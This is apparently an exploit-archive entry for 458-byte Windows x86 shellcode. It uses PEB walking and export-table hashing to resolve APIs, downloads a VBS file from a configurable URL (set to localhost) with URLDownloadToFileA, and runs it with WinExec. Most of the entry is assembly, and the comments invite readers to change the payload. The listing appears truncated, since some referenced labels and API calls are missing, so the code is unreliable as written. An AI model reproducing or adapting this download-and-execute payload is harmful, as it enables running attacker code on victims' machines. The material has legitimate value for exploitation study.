Exploits / Vulnerability Discovered : 2022-02-04 |
Type : shellcode |
Platform : windows_x86
This exploit / vulnerability Windows/x86 download file and execute / dynamic peb & edt method shellcode (458 bytes) is for educational purposes only and if it is used you will do on your own risk!
; Shoutout to #848 Advanced Software Exploitation and DSU.
; Description:
; The shellcode works in three parts. The first part and API call is using the Kernel32.dll and calling both CreateProcessA and LoadLibraryA function. Moving onto the next API call, it utilizes the urlmon.dll and calls the URLDownloadToFileA function. The objective of this call is to download a file from our malicious URL. Finally, the third API call is using the WinExec function to run the command, which will run the file that was downloaded.
; the PEB method to locate the baseAddress of the required module and the Export Directory Table to locate symbols.
; Also the shellcode uses a hash function to gather dynamically the required symbols without worry about the length.
; Feel free to change which file is being downloaded, and what command to run the file. For example, if set to download a .vbs script, you can use the command 'cscript shellcode.vbs'.
[BITS 32]
mainentrypoint:
call geteip
geteip:
pop edx ; EDX is now base for function
lea edx, [edx-5]
load_api_name:
mov edi, [ebx]
add edi, ebp
push edx
xor edx, edx
create_hash_loop:
rol edx, 7
xor dl, [edi]
inc edi
cmp byte [edi], 0
jnz create_hash_loop
xchg eax, edx
pop edx
cmp eax, esi
jz load_api_addy
add ebx, 4
inc ecx
cmp [edx+18h], ecx
jnz load_api_name
pop esi
pop edi
ret
load_api_addy:
pop esi
pop edi
lodsd
push esi
push ebx
mov ebx, ebp
mov esi, ebx
add ebx, [edx+24h]
lea eax, [ebx+ecx*2]
movzx eax, word [eax]
lea eax, [esi+eax*4]
add eax, [edx+1ch]
mov eax, [eax]
add eax, esi
stosd
pop ebx
pop esi
add ebx, 4
inc ecx
cmp dword [esi], 0FFFFh
jnz load_api_hash
ret
CMD:
db "cscript cats-dl.vbs", 0 ; Command that will run
FILENAME:
db "cats-dl.vbs", 0 ; Name of the file being written to disk
URL:
db "http://127.0.0.1:8080/cats.vbs", 0 ; Use a non-malicious file extension
URLMON:
db "urlmon.dll", 0